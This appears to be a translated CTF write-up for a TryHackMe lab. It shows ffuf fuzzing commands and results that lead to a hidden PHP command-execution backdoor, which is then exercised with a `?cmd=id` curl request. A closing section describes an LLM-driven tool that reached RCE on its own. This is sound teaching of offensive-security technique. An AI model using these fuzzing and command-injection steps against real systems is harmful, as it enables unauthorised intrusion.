iTranslated by AI
Can You Spot the Suspicious ffuf Result?
Background
Well, this might be abrupt, but are you just glancing over the results from ffuf?
I used to do that. Just checking the status codes like "Oh, this and that exist" and moving on to the next action.
Usually, output like this just flows by, right?
"status","length","words","lines","content_type","url","redirect"
200,2542,276,53,"text/html","http://<target_ip>/about.html",""
200,2573,232,64,"text/html","http://<target_ip>/admissions.html",""
301,313,20,10,"text/html; charset=iso-8859-1","http://<target_ip>/assets","http://<target_ip>/assets/"
301,320,20,10,"text/html; charset=iso-8859-1","http://<target_ip>/assets/images","http://<target_ip>/assets/images/"
200,0,1,1,"text/html; charset=UTF-8","http://<target_ip>/assets/index.php",""
200,2056,142,72,"text/html","http://<target_ip>/contact.html",""
200,2580,180,88,"text/html","http://<target_ip>/courses.html",""
200,1988,171,62,"text/html","http://<target_ip>/index.html",""
Can you tell which one is suspicious?
- "They're all
200, so they're normal, right?" - "
301is just a standard redirect." - "The encodings differ in some places, but so what?"
...that's what you'd think, right?
But there's one line mixed in that is clearly different.
Target Room
The room I was working on is UA High School from TryHackMe.
The theme is from My Hero Academia, where you infiltrate the UA High School web server.
By the way, I only have a vague knowledge of the manga My Hero Academia.
I ran ffuf with the mindset of "oh, there's some school website here."
Command Used
ffuf -u "http://$RHOST/FUZZ" \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-ac \
-e .php,.html,.txt,.bak \
-recursion -recursion-depth 2 \
-t 150 -timeout 5 -c \
-o result.json -of json
I checked the results by converting them to CSV using jq.
| Option | Meaning |
|---|---|
-ac |
Auto-calibration. Automatically filters out false positives |
-e .php,.html,.txt,.bak |
Scan with extensions |
-recursion -recursion-depth 2 |
Recursively explore discovered directories |
-t 150 |
Number of parallel threads |
The number of threads depends on machine specs and needs tuning.
It's hard to say since it also depends on the target's machine capabilities, but I just set it to 150♪
The Identity of the Suspicious One
I'll give you the answer.
200,0,1,1,"text/html; charset=UTF-8","http://<target_ip>/assets/index.php",""
It's length=0.
All other HTML files return 2000-2500 bytes.
Yet, only this PHP file returns zero.
It returns 200 OK but has no content.
But wait. A PHP file returning 200 with zero content... would someone really go out of their way to put a PHP script that does nothing there?
Thinking normally, patterns where PHP "returns nothing" are:
- It does nothing without passing parameters.
- It suppresses errors.
- It doesn't run unless conditions are met.
- etc...
Either way, it feels like it's waiting for something.
With that speculation in mind...
Trying Brute-forcing Parameter Names
If it's "waiting for something," let's start by brute-forcing parameter names.
ffuf -u "http://<target_ip>/assets/index.php?FUZZ=1" \
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-t 150 -timeout 5 -c \
-o result.json -of json
I'll try every possible parameter name from the SecLists burp-parameter-names.txt wordlist. The parameter name goes into the FUZZ part, and the value is fixed to 1.
Why did I pick 1? Just because ---
Here are the results. (I used jq to format them into CSV since JSON is hard to read.)
"status","length","words","lines","content_type","url","redirect"
200,0,1,1,"text/html; charset=UTF-8","http://<target_ip>/assets/index.php?googleplus=1",""
200,0,1,1,"text/html; charset=UTF-8","http://<target_ip>/assets/index.php?goto=1",""
200,0,1,1,"text/html; charset=UTF-8","http://<target_ip>/assets/index.php?gotod=1",""
200,0,1,1,"text/html; charset=UTF-8","http://<target_ip>/assets/index.php?gpack=1",""
200,0,1,1,"text/html; charset=UTF-8","http://<target_ip>/assets/index.php?gpsinitcmd=1",""
...
All of them are 200 and all have length=0.
I thought, "Wait, does that mean all parameters are valid?" But since googleplus and gpsinitcmd yield the same result, perhaps it's not even looking at the parameter names.
Then it hit me.
The value was fixed to 1. I was being too lazy.
The server is likely designed to output only if a value that can be executed as a command is passed. Whether I send ?cmd=1 or ?googleplus=1, it returns length=0 because there is no meaningful output to display after execution. No matter the parameter name, if the value is bad, nothing is returned.
To be more specific, even if the value 1 triggers a command not found response, it's possible it only returns stdout and not stderr.
In other words, interpreting this scan as "all parameters are valid" was a mistake.
Let's Change the Value
- If the parameter name isn't the problem, but the value is.
- And if that
length=0PHP file is a "command execution backdoor."
From here on, it's about doing the grunt work.
curl "http://<target_ip>/assets/index.php?cmd=id"
A response finally came back.
dWlkPTMzKHd3dy1kYXRhKSBnaWQ9MzMod3d3LWRhdGEpIGdyb3Vwcz0zMyh3d3ctZGF0YSkK
It returned a string, but I can't read it as is.
Don't mess with me!
In times like these, you throw it into CyberChef's "Magic" recipe.
It identified it as likely Base64. Now that it's confirmed, let's decode it.
curl "http://$RHOST/assets/index.php?cmd=id" | base64 -d
uid=33(www-data) gid=33(www-data) groups=33(www-data)
It hit the mark.
The output of the id command was returned directly. It's using shell_exec() or something similar to pass the parameter directly to the OS.
It's RCE (Remote Code Execution).
That "200 OK with length=0" was the entrance to the backdoor.
Bonus: I Had an LLM Try It
Actually, I've been building an ffuf wrapper script that includes an LLM mode with Claude CLI.
my-ffuf llm "http://<target_ip>/assets/index.php"
Once I handed the endpoint to it, it autonomously:
- Checked the baseline with curl
- Focused on
length=0 - Tested
?cmd= - Decoded the Base64
- Explored the file system
...and so on, eventually reaching RCE and deducing how to clear the room.
I started thinking, "Is there even a point to humans doing penetration testing anymore?"
However, the response is quite slow. It takes about 20-30 minutes. Too slow, too slow.
Summary
If you see a 200 OK with length=0, be suspicious.
| Pattern | Meaning |
|---|---|
200 + length > 0
|
Normal page |
301 |
Redirect |
200 + length = 0
|
Potentially waiting for something |
Don't read ffuf results as a "list of URLs," but as "response differences." If you find something numerically odd, dig into it. That's the takeaway.
Discussion